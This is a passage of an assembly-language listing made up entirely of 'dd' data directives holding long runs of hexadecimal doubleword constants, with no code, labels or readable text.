2C08FC93h, 1DADD0E9h, 3C86F734h, 0A7A3D921h dd 60AFC106h, 0B73E1A0Ah, 52BB032Ch, 988DCCE9h, 0B939F47Bh dd 21C9B716h, 0B73B37DBh, 4DB30016h, 56BED90Eh, 0AF6F16B3h dd 0F6C8B236h, 7616AF71h, 742CD1A6h, 0BB5B0F24h, 5B0B5F79h dd 9A2BDE01h, 0E0D4070Eh, 0BF84818Ch, 0CEF0644Eh, 0F538714Eh dd 0EC094A0Fh, 7F7C9D60h, 0B8AC5AABh, 51F6228Eh, 0EBD6358Dh dd 913CA778h, 0A71C9DEFh, 0AF3C096Ch, 3D7833Dh, 0E752A7F5h dd 0B25873B8h, 494B82C9h, 531F3F5Eh, 0E4D8CCD9h, 785CA7AEh dd 243C485Bh, 0B70970DAh, 8594625Ch, 0B06194ABh, 65EE65BBh dd 0DA846F00h, 0BB20B706h, 76361581h, 48789655h, 7DD5F374h dd 5AF4AE01h, 1FB94908h, 423F0ABEh, 0FC6699CDh, 0E924B034h dd 4ECCD22Eh, 8885DB74h, 0A5C110Eh, 3E3721FCh, 0A177CB47h dd 25BADCBCh, 0AF42BFBBh, 0C302513Ah, 0BBA4E4ADh, 4024E060h dd 2076D821h, 0E4181858h, 14AE464Ah, 464A6411h, 756164AEh dd 640E4772h, 434A4DE4h, 0E1182059h, 7A5B8219h, 0CBB2515h dd 6C68835Bh, 402C5A48h, 0A30C0B39h, 190EDBE6h, 3854CFEh dd 54095575h, 621D205Fh, 0DC679844h, 504F672h, 5637A557h dd 906C2040h, 46C2C67Ah, 74DEB8AAh, 8C3003Ah, 0CC45B99h dd 5A0C0686h, 36A4EB03h, 3302C9C0h, 0D662AA67h, 0C43D14B4h dd 36B42743h, 2A22479Fh, 2B978723h, 6A0A5356h, 921D01B0h dd 36426E36h, 1332AFD7h, 0D80D9B8Bh, 0BBE19117h, 65915DC2h dd 9F6505D8h, 0D3A4A037h, 0AA4B5202h, 0B91C9014h, 1F91D83Bh dd 8F535D43h, 0EF991DA9h, 6F390A6Fh, 0E54F480Ah, 1FA0A446h dd 0AA63C200h, 89A29E1Dh, 0ABC310DAh, 0CDD34BCBh, 641A7782h dd 3E082B13h, 0B32E36E8h, 7786C764h, 0FCD7BE47h, 0DEA9B746h dd 27632316h, 0FCB358A8h, 9C1232Eh, 0D03BABA3h, 55B35B28h dd 672657F1h, 878A94Ah, 36CEC5A3h, 2E598132h, 0D7B02437h dd 5112F21Ch, 3C6ABA33h, 0E4D117BEh, 0F209046h, 6D90C873h dd 91D25B8h, 0C8721C0Bh, 53560BC9h, 4321CF03h, 1F5269F2h dd 0C9B26C4Fh, 17984021h, 22B723ABh, 0A7E74406h, 7C45DEA9h dd 0C7096216h, 9CEED3A3h, 0FC60CB7Dh, 595013EFh, 0BAAE6F0Bh dd 9D8D623h, 0D7F6D361h, 0E17EEEA6h, 51A4066Ch, 0CEDAF15Ch dd 0C6DA0A2Bh, 157B1C2Fh, 0D3DE05FCh, 47D611CDh, 507E5707h dd 6AABA787h, 0A86C87A8h, 51353BA5h, 5BC15FD5h, 408DB300h dd 97280FC0h, 2DC82FB3h, 9AB93A2h, 753D4C03h, 1E0673D4h dd 0E610AB1Ch, 0E00416A0h, 4DF0A44Eh, 6F5B0788h, 0DBBB2852h dd 512C51A6h, 0BC22EA1Ch, 24BF4F05h, 0EBA4E237h, 0C2A70BABh dd 7E419019h, 0E7A98F1Eh, 7B1901E7h, 0E31EC824h, 904608A4h dd 911983E3h, 5537B5EDh, 0E70B7005h, 0CF22F5CDh, 4AE3A98Fh dd 0C46220CBh, 42439148h, 21DB0F96h, 2C2E1DB2h, 0B738BFBFh dd 232341EEh, 6F2427A3h, 5EFA7CF6h, 0C3A87432h, 0E07B74Eh dd 801D2C8h, 36BDEAAh, 0C0E0B045h, 9072221Eh, 0FA670302h dd 8C04A65Ch, 279E4060h, 0FF7B53B0h, 0BD0FC118h, 3BF88429h dd 70FEC127h, 0FE397203h, 7F5EF2D0h, 7BEC732Fh, 47730308h dd 2E850A0Ah, 6E700AC6h, 57106ABBh, 0A4525324h, 0F41D4DD8h dd 48BD619Bh, 0FF80A7B9h, 0E9906398h, 54E0F42Eh, 0BB4C2BEBh dd 12783853h, 6E6FF915h, 0BB5E200Eh, 16EFB1A2h, 3682EBC0h dd 6D151587h, 0B360ABE2h, 22BB6533h, 527BE4F9h, 0D3F3B1Fh dd 0D73BAB30h, 0E4F9E4F9h, 0C33BA706h, 0F33BA314h, 0E4F9E4E0h dd 0E33BBF6Ah, 0B2CBBB78h, 20E116Ch, 0BBBFA3A7h, 5D301075h dd 6B4E5588h, 4744B757h, 85ABD046h, 0DCAC4397h, 0B9C12BEEh dd 16BB820Eh, 68657850h, 0B05C508Fh, 419A9372h, 91C7E0B4h dd 0A0F75629h, 53E80F7h, 77B046C6h, 98EE80B0h, 1C0D22B2h dd 2DF33019h, 0AB9B292Fh, 0B3BC5AFh, 70DF2F2h, 1D938429h dd 5079E666h, 8D7C9479h, 0CD410B3Ch, 0A0BAFAFh, 0F9CC160Ah dd 0E7C44222h, 0AC124533h, 0B2E0AE61h, 3B0EF7AAh, 70650E5Fh dd 0DCDA452Dh, 8434FE2Ch, 2570799Ah, 591F4166h, 0D7BD1122h dd 1104C50Bh, 66F6133Ah, 0BE375476h, 2C8646Ah, 0E8AC78FAh dd 0DDDED91Bh, 48B3BDBBh, 20416E78h, 0A35E0FC1h, 5C874FC9h dd 0C1BAC1D1h, 730FE55Ch, 0DB535D1Bh, 0B0C5342Bh, 2EDE7C9Bh dd 4875919h, 0F63E7DFDh, 0CFE8C8Bh, 3283CE8Ah, 0E73B25B2h dd 9F9B235Ah, 6F15082Ch, 6299F0Ch, 0AE6F043Bh, 0D26129CDh dd 7B1D9D04h, 4AB811D8h, 0C01D5067h, 0B2F26FDh, 23295DBAh dd 1474C249h, 0E87F2F6Dh, 0F3CF9270h, 0A7B356A6h, 37A8B08Ch dd 0A9B2F0B2h, 151183BFh, 91E5160Bh, 98101DC7h, 0F10447AFh dd 0C8E4F265h, 8FBF3924h, 1FA48FA4h, 7F5AE516h, 5404BB32h dd 13E7C84Dh, 1BA41BADh, 9B283A4h, 0AD149589h, 6A8F1FB3h dd 96AD2449h, 0EFCF22CDh, 0CBC0D33Bh, 1257A403h, 5F8AFC01h dd 118DA760h, 9B052F6Eh, 1D713C05h, 55462D4Fh, 0BB06B3AAh dd 523DEE32h, 0D87C3B15h, 3B413410h, 23AD612Bh, 0B8FC4487h dd 0E4119F43h, 0CEC8F061h, 0C8E416BBh, 0F4DDA6CFh, 0A6CFBC86h dd 0FEBB9D09h, 20324CE6h, 0CBCB2787h, 0A3C23ACBh, 2F1FD6FAh dd 0A8A48BD5h, 7BAAF75Ch, 27722305h, 9DC66B39h, 3B1559BDh dd 0BD7452A7h, 0BB3325CDh, 0EE044097h, 3831C979h, 0A6C7681Bh dd 9019A6C7h, 1EB30EC3h, 9019C3C3h, 0DF832643h, 0CF5462DFh dd 2047E730h, 0D9191917h, 0DFB3C30Bh, 1B9F233Ch, 0D7E78CAEh dd 0D7A6DBA6h, 450F20B6h, 8B322747h, 473BC0C1h, 0A5FCA4B7h dd 48C40B5Dh, 5A6B9DC2h, 4C238AC1h, 0E3BF8806h, 32F38EC7h dd 0E438778h, 85A6F788h, 59E411A2h, 298AF614h, 73C95E0Ch dd 858FBD5Ah, 0C8E43CD9h, 0C0DB83A7h, 5448D863h, 3EE016Ah dd 1ECBF277h, 0C030D8DAh, 41847E90h, 0CBBB9B9Fh, 50EFF82h dd 56042752h, 80C60927h, 27514D9Bh, 89BBB84Bh, 37D57543h dd 43059B30h, 0B91017F6h, 2FB81BB5h, 76AFE38Fh, 7B43DD01h dd 8EDEA7B3h, 50B00A81h, 8F3F8F94h, 0EDED0111h, 3ED91D81h dd 4DB5257h, 0DF8AFA41h, 9ABD049h, 0D728D65Ch, 0F45FDA7h dd 568FCAA4h, 0C3A97F7Fh, 0E2D90F37h, 88A78F56h, 6FED0A56h dd 7AA037C7h, 0DAEE4117h, 0EAF7F6A0h, 0E15764DEh, 0AF42FB52h dd 6332AAE7h, 0BBA985BDh, 69C3A3DCh, 0C097A906h, 2184D06h dd 4D466E1h, 478D7803h, 28053FEAh, 65672C92h, 2D520CD8h dd 8D8A36EDh, 638E5A1Ch, 721CB881h, 119C8CF2h, 576E7B50h dd 33C9C8CFh, 4B567873h, 233DD34Ah, 54435527h, 0ED95B08h dd 272A3076h, 7727697Eh dd 26CC879Fh, 0B306DB27h, 30B9B4A7h, 4088273Bh, 89A38B27h dd 31B9103h, 99A88BEBh, 0E7A318A0h, 848788A8h, 0A143CE8Bh dd 2E4669CBh, 198D64Dh, 0E61DB738h, 601D0489h, 0D8D8E75Dh dd 5D65830h, 2C1E5167h, 89656398h, 0C0B73B3Ch, 0C90460C5h dd 0EC4FBE48h, 0AAACAE4Ah, 69478727h, 0F9873168h, 2CBFDED8h dd 1B111307h, 17B5716Bh, 1843D906h, 3FCC54CFh, 45069F07h dd 0D47BC073h, 9235564h, 0CED917CDh, 0B48AB403h, 17A21BFh dd 0CF82B0E4h, 0F3E41C0Fh, 0A9631E32h, 0A97F1027h, 0D9052179h dd 59756D9h, 72390F8Ah, 79E0F0Ah, 13DC7DC7h, 0D03640C4h dd 6D99AC50h, 8B85B702h, 8709A123h, 0FD03ED96h, 2C1B2F4Bh dd 0D132586h, 0AF8269A7h, 61A37962h, 0F501A3C7h, 0F0EB4F20h dd 0BB3E8C89h, 8C228577h, 0EFC42D07h, 0B183F006h, 1D6CC001h dd 83534723h, 8B2A6407h, 107D150Dh, 19190642h, 157E6668h dd 7664AE4Eh, 9914A053h, 78B242CAh, 901A735Ch, 12064641h dd 0E4666068h, 8AE29C94h, 672C8ADFh, 78D8C9B3h, 0D5FF256h dd 0D9B7676h, 0AA3B84Dh, 0F0B24A45h, 60ABF084h, 0A74535C1h dd 5B91048Bh, 0B060DDDh, 2BA13904h, 88E91621h, 37FDDEF6h dd 0F2009653h, 37030053h, 6A0776DAh, 0D05BD108h, 36DA2195h dd 2A74F2BBh, 0A9B7D138h, 0A00E0317h, 5E8C2807h, 2FBC0F8Ah dd 0B5F1AAAh, 241B8F46h, 73609182h, 8315463Ah, 8D84B404h dd 0E2C55C7h, 3F1518E8h, 0D00E41B8h, 2D02A21Ah, 0A2E51E98h dd 3436FF7Eh, 0B80876B8h, 2B233B4Eh, 3B9CC73Bh, 83CA4746h dd 0D8903CCDh, 6CEA1E83h, 5B8B340Bh, 0AC5E9EA3h, 0B4CB75BAh dd 938239A6h, 453C6C85h, 3D8B14Dh, 0E3D5B75h, 1B12EA9Bh dd 0EE968657h, 0F64BD780h, 3313C0E5h, 8A52BB76h, 29C0160Ch dd 0EB5DB88Ah, 0DD44F2A0h, 2D58D0F7h, 0B7A130F2h, 0B55A38BBh dd 40B9DB2Fh, 30970E48h, 0E652DFD3h, 3242688Ch, 92137ABh dd 36339E41h, 31513F45h, 33DE51D7h, 0E74E0D16h, 0DEF535E9h dd 5886C930h, 0FCC82E08h, 0E003AC27h, 0D821272Bh, 72B809B1h dd 0CEF62A2Ah, 201319E6h, 55EB0047h, 0A3FA0EBh, 264322A3h dd 72D54448h, 0D9CE8168h, 0DB42FA1Ch, 3068AC0h, 0CD3C1B2Fh dd 0A3C77447h, 0DC662E43h, 0B6B5ECBh, 0D8571F40h, 4BAC68C7h dd 392E4150h, 810E69h, 0B8DA3627h, 1F2586EDh, 4BB65B98h dd 4B0C65ABh, 24522FD0h, 5445B642h, 0B653154Dh, 49540822h dd 49C9EED1h, 6FE91D9Eh, 56BE8799h, 0DC887045h, 0CA85F79Fh dd 0BCED1832h, 435B0638h, 1D23707Eh, 14475DECh, 8451BB77h dd 3109C113h, 14A79A97h, 43EF6480h, 0F0131BF2h, 63184705h dd 0B815DDCEh, 38071F55h, 0F22A4E5Fh, 3BBFF963h, 4B39C7B5h dd 85685E6h, 70E1077Ah, 191BA24Fh, 7465CF3Bh, 0D83B1B53h dd 0C5EA973Bh, 877AF752h, 3D9CE2C0h, 5DB87F39h, 0EC2C4E0Eh dd 12B59059h, 0EC4A57AFh, 23702051h, 0D56B3CFh, 1D9457D8h dd 18855580h, 33E8ACE1h, 5BD6C72Ah, 6B94379h, 370A65E3h dd 0ACACB190h, 935F8136h, 9A0F09B9h, 0B3CE280h, 0D873A0BBh dd 0A97E20E3h, 3B2140AFh, 15442725h, 5D2B39C3h, 83D5234h dd 6DD30D8Fh, 0C70569BDh, 92EAD6A4h, 2391B1B3h, 0DA43A623h dd 0E20C1972h, 3FF61B47h, 7F263FE2h, 0FA3F1831h, 20204315h dd 0CAEA9360h, 60DF068Dh, 0B2B54B4Bh, 6247A326h, 9D95B066h dd 49F35D9Dh, 0AB65C324h, 1317D562h, 0E6939224h, 50D94B09h dd 8685CF9Ah, 249FE41Ch, 40F247B2h, 0F5CABC36h, 68812A4Fh dd 81308450h, 0DC053F1Ch, 0D2422AE0h, 0D6A66AFh, 0E69B2300h dd 0C88E201Ch, 82845149h, 4AB316F5h, 8E084F3Eh, 524C519Fh dd 64720392h, 0C182B23Fh, 90E4E451h, 3B3BA7E5h, 0C14CCD3Bh dd 0D05C3B67h, 44081908h, 7D09485h, 661A4096h, 461BA7EEh dd 6C3B9668h, 0CD9C9709h, 5A07365Fh, 0AC260442h, 900D040Ah dd 221B290Fh, 0E6839F10h, 0E6EF09B0h, 0F70B132Bh, 0B2724E4h dd 0FB77A7E1h, 89A42652h, 0F058FBBAh, 3E049433h, 1CD953CCh dd 8DA44883h, 0BB6940A0h, 7A28DD66h, 57BF6198h, 0AB694C2Dh dd 0B47B019h, 159F3B49h, 0BDA90A5Ah, 0FDE926FAh, 0D3767029h dd 91C604ADh, 282C5C15h, 0D9E65096h, 53AA3737h, 77848D55h dd 368615CEh, 60391663h, 9FEF970Fh, 27616A2Ch, 57572879h dd 53C32717h, 84D1F9h, 140EF0A6h, 0AAF8B69Ch, 0AFEE7A09h dd 0A3A290A9h, 630A8F1Fh, 703C986h, 0B517A02Fh, 7964A9AFh dd 4ABC49D6h, 0AD4B4F33h, 8C079C76h, 1336116Ch, 5F824743h dd 10E50A24h, 0B1905AB8h, 0B7AC2FC9h, 0F0BF0D23h, 5F9C8208h dd 990E3122h, 0A3AD3F83h, 0FA55925Ch, 0F455D414h, 95A326D8h dd 0DCAF366Bh, 40F556E0h, 4F63AC89h, 9CC011C6h, 825B42ECh dd 0FDA0F6A5h, 17BBA859h, 4316D99Dh, 63050EDBh, 4B480DB7h dd 0F8838912h, 638BEC8Bh, 13A7A45Fh, 0A2F1639h, 0A5D5D82Bh dd 5BB111DEh, 5B9BF82Eh, 29DED960h, 9B30118Bh, 45C03A9Bh dd 3AFB6909h, 2B5548C7h, 0BF8745CEh, 1A03EF98h, 0F3479B83h dd 46DC7AA3h, 5935B170h, 0B2B75857h, 6DF5B05Bh, 0E1B3F052h dd 2752B3B9h, 88BF885Eh, 52E65711h, 730644B8h, 0D8C62471h dd 1A0AF25Ah, 0E673031h, 0C1573CF7h, 0B79D8C50h, 0BB837C83h dd 0E69F7342h, 0AD359C60h, 0FAAB0E51h, 0F24E51A3h, 51FFC839h dd 9E36AE03h, 0CFE29E07h, 43A10011h, 5F3B3AB0h, 0D99C5h dd 53FFCFAFh, 891DD0B0h, 2C2A05E2h, 33AF4A50h, 5DC95E00h dd 6925141Fh, 0AFA4591Eh, 0B05B152Ah, 7D8DB98Fh, 6B95B823h dd 0B1AF5852h, 0E66C936h, 455B6875h, 4EBE600Fh, 50555732h dd 0A3CA0DBh, 73D31538h, 45D3E67Bh, 0AE1717CDh, 1917D005h dd 1A076C39h, 0E005136Fh, 8D8DD8FDh, 5C0ED874h, 35913ECh dd 0D057660Ah, 1773E989h, 8D9F27AEh, 3F9F02C8h, 0D89D9B97h dd 0C9E02AFh, 995C939h, 0BBC03BCh, 8D95D97h, 14607D3h dd 6392B07h, 0BF31A01Eh, 0DCE8A1E5h, 2AF6308h, 6C47F609h dd 797F7B67h, 924FDED0h, 7706730Dh, 9C9C9C9Ch, 7B676B63h dd 9D058322h, 0EA7FCC7Fh, 6F66001h, 2FF5F10Ch, 8A3DEE8Ah dd 0B0CA692Bh, 1F7AAD01h, 38AE65Ah, 1648D012h, 0AD26DE60h dd 270E22D9h, 1BAEC43Ah, 55ED948h, 49507A7Ch, 8D60635Ah dd 0D66F19EFh, 196B20A7h, 0C80CD24Bh, 0D25774Fh, 0F2C8BF78h dd 0E46745B8h, 8DD694h, 0DE29C3DCh, 230906B0h, 0E3A76C8Ch dd 884B6B23h, 38AE8347h, 6B408063h, 0A1E4D4A4h, 734B5B3Dh dd 5323F246h, 85EF9E82h, 519BE230h, 67A20C38h, 437C47EFh dd 46461AF7h, 890B43DDh, 0EF071C48h, 4948326Ch, 2ED8344Ah dd 0B2BDB23h, 55B6318h, 5CA94F73h, 85C3096Ah, 1B22C6C7h dd 7C0F3F65h, 1DB87F67h, 73F4F57h, 8C3B2064h, 71B87B60h dd 6C81C962h, 1B134723h, 22EC0C3h, 91C3E1E4h, 515F5E68h dd 67261886h, 2E75D769h, 0C90D70A1h, 3A6B944Bh, 0AE4B086Dh dd 375F2CC7h, 0DC4B014Dh, 26FF645Ah, 0D125539Ah, 18F2020h dd 0A00FAC10h, 84029AA0h, 6114F3E2h, 0CF9A65F0h, 3821AF82h dd 0FDBB14Dh, 7D98A16Eh, 5D2CB03Bh, 0E5522B0Fh, 1B8051FEh dd 0A353164Dh, 79F0DBDBh, 0F631B1E4h, 0BB473647h, 5A749302h dd 1E4E029Bh, 0BF12BB47h, 0BB63BF25h, 2693F632h, 0F7DBDABFh dd 4B264B36h, 9C4ECEBBh, 6BB4993h, 0E0B1BB26h, 62FB5994h dd 8A20598Ch, 0A6CE83D4h dd 6607E7E4h, 58262773h, 659BAF1Ah, 0A1341279h, 424FA42Bh dd 6E5302E1h, 0DF621AB2h, 44EF00EAh, 8496EF3Dh, 8B218331h dd 4511442h, 6A1D420Dh, 3B630D61h, 873EA337h, 0FE97521Ch dd 64F175E2h, 619BAE97h, 3B59523Ah, 0EF41C533h, 0BFA10D92h dd 170F5FADh, 0C24DCECCh, 0E53948Ch, 1C21DF13h, 0ECE31F60h dd 551343A3h, 35D3201Dh, 0BF40550Ah, 0D20C8609h, 1E6ABD2Fh dd 0D05C959Eh, 8335F225h, 618335FCh, 30538E4Fh, 881DE085h dd 549A30Ah, 8462F440h, 0B2A956FBh, 6EB3AAE7h, 202906B7h dd 0F1462CF0h, 20904527h, 3DEB9A9Ah, 2299160Bh, 0E85BDEDEh dd 5102C213h, 52340F18h, 8A7B365Eh, 37458262h, 8163BA17h dd 0D571653Bh, 0E778A4ACh, 3D276CCCh, 18BBA457h, 0F16733A7h dd 0B610D24Ah, 2A4FE164h, 0FDBDF360h, 0FB2252E3h, 383F2450h dd 0D3AF0B20h, 0EA4395C2h, 95D3E661h, 0C9AEAA17h, 0DB48E00Bh dd 0F134826h, 6DC5CB74h, 27149B44h, 2E2D6315h, 52CC84B4h dd 0A61C0F2Ah, 648A88F7h, 81556F92h, 4CC84CC8h, 4119D595h dd 0A62F4930h, 0DC464096h, 0A598CEC7h, 0B8188F37h, 79873B77h dd 0CB9165E6h, 250F9616h, 12033F33h, 0E557B000h, 1CBE5396h dd 0C5E725E4h, 0BCB8F7F7h, 2182ACACh, 11B84314h, 60B99C2Fh dd 0BA355409h, 8D01525Fh, 799224F2h, 3A884726h, 21E22FDCh dd 0C5BEBA34h, 91EFB53Dh, 1036665Bh, 8D8B517Ch, 5F5B0574h dd 11143B45h, 13AAA567h, 9CFC3DC2h, 0EF25D84Ch, 0DD39206Ch dd 80F662A6h, 516B2670h, 0F24B6CBEh, 6A0A58B0h, 4140202Dh dd 647152Dh, 0D71CB87Bh, 5212CC18h, 5A6DC097h, 0EDCEAC2Eh dd 0A4308E50h, 8A3079ADh, 0F957ED06h, 42445058h, 46571BBBh dd 59BB857h, 1791C92Ch, 521132C9h, 0C385268h, 52790E40h dd 92FB0FE7h, 9120043h, 320A452Dh, 0F907082Fh, 2C296790h dd 8173A37Ah, 13251C95h, 86424665h, 0AD804E42h, 0C1498F1h dd 66DC0206h, 0A6A0300Fh, 5FF274AAh, 0C543D02Ch, 0FC5C624Fh dd 0C3B67416h, 0C3564D5Ah, 0D342117Bh, 1F5198AEh, 0DFBBEDE5h dd 0AB7D8D9Eh, 0F635F60Ch, 0EEB37DF7h, 0D9307926h, 141F0290h dd 1E4102Bh, 0B227C6Bh, 0E0F15426h, 7FF1FAB0h, 0BEB31B91h dd 51936F14h, 8B92BFC9h, 75E0DE5Ch, 3BCE7BE6h, 2D97F8BFh dd 0F0C2AD0Bh, 53F45819h, 713DC12Ch, 63BB0E33h, 0DA101032h dd 6E895B63h, 0AA35056Ah, 8FE18FA4h, 4118DBC3h, 173F8F4Ch dd 442FB756h, 4B5876EEh, 26376A0Bh, 0D6E0C5Ah, 3C3E2BF4h dd 780BB886h, 68788B6Ch, 62501689h, 2751ED8Ah, 172E2104h dd 27576A3h, 1AF0AE82h, 6A390D0Ch, 77FC0CF3h, 0A492B737h dd 0B501BBC0h, 3794F15h, 8007A510h, 3C347811h, 0EB31570Fh dd 926FC873h, 9992782Eh, 6DDB512h, 39292E0Bh, 23001B29h dd 0E4A09754h, 16299279h, 0DEC7C418h, 48FE52A8h, 0CC4B5678h dd 0CC3C1AAh, 54C913C0h, 901BE3CEh, 0EAA476CBh, 325F264Dh dd 4F07288Fh, 0B1668791h, 0B199B23Eh, 673D436Dh, 0D197E8ADh dd 25B07777h, 3B0E5F85h, 75BB3A57h, 285517Fh, 35523677h dd 9C9D5DCDh, 7E7DDCCDh, 50220B11h, 0E4B80B10h, 0CDAB7580h dd 6574A46Eh, 45BF3A84h, 0C9B7068Bh, 1CCDDE0Fh, 1F17482Dh dd 0CB90CD8Fh, 7975791Eh, 514EA2BAh, 1B361F83h, 5B7D731Bh dd 9FDC3483h, 4064B1ACh, 97EFAC9Eh, 14AB1876h, 730777h dd 0FB3630Ch, 11D32B80h, 0C3C33B44h, 90A99F22h, 0ECCD0E9Dh dd 292FEEB9h, 2D500580h, 54933B1Fh, 0BD55758Eh, 36C313D8h dd 8D914727h, 0B4241B3Ch, 0F7D3187Dh, 75872553h, 9BE54787h dd 0FF1A540Ah, 2DB3A97Eh, 0A40A65CAh, 0BDED8AAh, 0AAD29B78h dd 78083700h, 4FA0C896h, 520BDF9Dh, 0AB66395Fh, 0E766C311h dd 10471385h, 0A079194Eh, 19286B9Eh, 726DFB20h, 15DE1E40h dd 7BEDCF67h, 784B903Ch, 0C3324FDAh, 8B9253B1h, 0C8380D9h dd 936EB73Eh, 236E356Dh, 881311EDh, 1EC76C9Bh, 0FB3467D8h dd 0ECED0F15h, 0C84EABB7h, 0ABB73E4Bh, 4F55ABB7h, 3F332767h dd 3BA43322h, 0B3DA6FFAh, 9DECDB90h, 192105ABh, 0E1DE1055h dd 12BE8F3Ch, 0E41485D8h, 57CC7480h, 74902362h, 0F25C80C6h dd 4A3348DDh, 811D255Ch, 0D4EBCB17h, 1D7F4833h, 3E401D4h dd 19E5BFCDh, 0B903806Ah, 1B4F4884h, 157C0597h, 94E4A1F0h dd 0E01FE00h, 0A5F6574h, 0DFCD47EDh, 0A9ECE00Eh, 0AFBAA57Bh dd 81B10CEh, 0A4916E7Dh, 99A57B5Dh, 82C16404h, 0FC3FBC44h dd 207B0E1Ah, 7427FE11h, 27431830h, 27557040h, 4009E16Fh dd 0C63B083Ch, 0BDB27049h, 7757D9C9h, 76360C6Dh, 9D6FB9EAh dd 0FB20D603h, 0EC9671Eh, 695F430Bh, 45E0B235h, 6905B0A6h dd 81ED2678h, 0F172087Dh, 54391DF5h, 0C82F6CEBh, 0A6BB8F91h dd 18D5008h, 0D3FC2774h, 772B76F6h, 2594B3Dh, 0B4B49BEh dd 0B1A4841Bh, 0A4E68A3Fh, 0B3F628DFh, 0E77B2CA6h, 0A68FCB20h dd 6A68F5Dh, 0DAF5012Ch, 2F53059Fh, 9428151Fh, 3ED7897Bh dd 0DF3711DEh, 0F966C35Eh, 0BC06B178h, 4BA71E18h, 17EF613Bh dd 20D7DB21h, 0BC6DA18h, 0F7BA7B6Fh, 198ECDB8h, 0BB47D9DEh dd 0DCC3C82Dh, 5F56DFE6h, 0CDE301BAh, 91EE0691h, 0AD16DFDDh dd 66CD695h, 0D6DBD97Eh, 3233056Ah, 0BD99DD2h, 737E6060h dd 90D02E4h, 7BA55FA1h, 0EF9391A4h, 0F3D04CCBh, 42175F84h dd 464E477Dh, 459C549Eh, 8CE9BC67h, 0B4348C9Ch, 33846948h dd 0CCF23272h, 92EC1373h, 0E4ECC01Eh, 31E26E5Fh, 727A4BC9h dd 4B0F77C2h, 0B4CE9F03h, 278B810h, 0B4B24695h, 4330F01Dh dd 3FD634BAh, 0E7B0621Eh, 0A6167481h, 254921AFh, 0E761CC97h dd 69B31B0Ch, 1DF44A5h, 0CEEF25E4h, 9C26CE20h, 0A4BC80C5h dd 0CEE36944h, 0D9193DB8h, 0DF5B8378h, 16D7EDF7h, 0D8CC2E0h dd 0C1BA79Bh, 9BF8015h, 603B5ED8h, 623646E8h, 2C3D7F25h dd 7E458383h, 4FD07057h, 2BACACCFh, 58B642CEh, 0D83B0BF3h dd 918B2A09h, 4BE69066h, 83434B1Bh, 4B919814h, 7F52C487h dd 7AA3DEDh, 4305124Ch, 0ADBF63F2h, 296C44D6h, 89038576h dd 660B0F33h, 530C89BEh, 705EF430h, 54EC3C3Eh, 3F4626h dd 8D459803h, 0C2B2F25Ch, 4761CE5Bh, 8C8C4807h, 375F4305h dd 1D80E4ECh, 0BACCF8ABh, 0CFAF46D7h, 0B83C13DEh, 4FC30071h dd 0F2760306h, 0E6730E30h, 1A3361Eh, 2625EC39h, 49B74B46h dd 42893EFCh, 7700BB6Dh, 0DE4541B8h, 7928727Bh, 2C60CF87h dd 0A734468Eh, 9B2E42E4h, 321F873h, 0FB272032h, 0BF9075EBh dd 3F160857h, 0BA436FE2h, 28F09D3Eh, 0E1D9FB19h, 0C496B14h dd 0CB3480C8h, 0C2224C64h, 46C680EBh, 33060D22h, 0A0DF0847h dd 0B8511108h, 0B279C2E4h, 0DB47BF25h, 401C1F60h, 720E534Bh dd 0B3092595h, 4F2F3203h, 90126539h, 66393B01h, 2330C630h dd 990B9074h, 47375752h, 9790077Dh, 71CF3791h, 506E88B4h dd 2680C80Ch, 0E4EC4D0Fh, 3B72FD65h, 6C51CF1Fh, 2F325973h dd 1306406Ch, 0D9EB884Ah, 4638CB90h, 70408F66h, 0C3900D67h dd 7B857918h, 2A42A748h, 0D64218AEh, 5C80786Ch, 4038BAF6h dd 0D8E65FF8h, 0FC25E4B9h, 0F34017CDh, 841DC8ABh, 2707083Bh dd 0E21BB07Ch, 8E93532Eh, 4042177Eh, 0A4D5784h, 13E6C238h dd 6F9713BFh, 1C9742B8h, 130E767Bh, 0B2FAE643h, 0C9E0BB41h dd 0D0C8B0A9h, 41C9DCC3h, 4BC80DE3h, 53C8B334h, 79AAA18Ah dd 262026F6h, 82E7C5B2h dd 5BD6E77h, 0F608C0B4h, 5C05F6CBh, 28BE4B9Ch, 67243E19h dd 1AF60E11h, 0E5673B12h, 60283B13h, 0C897C203h, 7E194DFFh dd 0A6D78A4Fh, 0B6F37F3Ah, 141ED01Fh, 0AD0A7B9Bh, 0F372186Eh dd 3E893CEFh, 0A4B6CF67h, 8306B6CFh, 0D2DEA06Dh, 2E0305EEh dd 0C6CF3F4Eh, 0F69987A2h, 6560B446h, 0D9C11199h, 49E06396h dd 9793C278h, 88C8D4D1h, 42D24EE5h, 80C25E5Fh, 142EF75Ch dd 1723420Dh, 0D2EBC9CCh, 0E0D312E0h, 0F7CC16C7h, 64260522h dd 716BC705h, 0AD8E4B8Ah, 0CF601227h, 1C18D55Ch, 685DB3Bh dd 63326CF8h, 0E07CBB19h, 392641C9h, 2B43BCC9h, 5EA168C8h dd 5648A4F2h, 4FBBC837h, 9A891A55h, 9DBBFD30h, 0E5D92F21h dd 43CC4C99h, 0D497C80Bh, 474F33E7h, 14432A8Ch, 0A723601Fh dd 0D476C890h, 0E7905318h, 5F6F3200h, 901C76B3h, 7363190Bh dd 90AEFD5Dh, 5CA48ECBh, 32967381h, 0D9835D20h, 0A8479A2Dh dd 7F034947h, 94BB7611h, 0AA7E0CBCh, 895CDBBAh, 1C9C85Bh dd 0B804393Bh, 0C9AF3400h, 749DC1D0h, 12BBB872h, 27C25E8Bh dd 0BDD38C37h, 5C4EBA65h, 47C98FD1h, 3C4B931Fh, 0BDBCA93Ch dd 72331023h, 44E241FBh, 8D543D15h, 4F815B1Fh, 362E17BEh dd 5647D60Ah, 0BB630768h, 9A80F785h, 77BEEE09h, 0B678E38Ch dd 430B22F7h, 609838Dh, 19CFB2E4h, 835DCABAh, 91C81E97h dd 71254B9Dh, 4BD9B343h, 0AA094332h, 0ECB90161h, 6448ABC9h dd 0F0EBE55Dh, 7692E4BBh, 0EE3AE347h, 0CB901948h, 5EAECB8Eh dd 0EB11F739h, 892EF19Dh, 0E70A5B22h, 0BD435206h, 5F6C373h dd 0B07F2D02h, 0E4E77841h, 0F576105Eh, 1904056h, 887CCF19h dd 0BA11EF74h, 1295FEDh, 0DD92FB1Bh, 9A4A51BBh, 48F24331h dd 65C39286h, 0C9724B60h, 5E4D3ACBh, 4CC9DB62h, 5E498050h dd 3AFA5FA8h, 0B92E4064h, 2F5FB912h, 8B347C26h, 0AD346D38h dd 6FC7CF5Fh, 270BC9F2h, 335F19C9h, 80CB9375h, 5B4BFFC9h dd 1AC4453Bh, 0B3A62FECh, 0E08B3B27h, 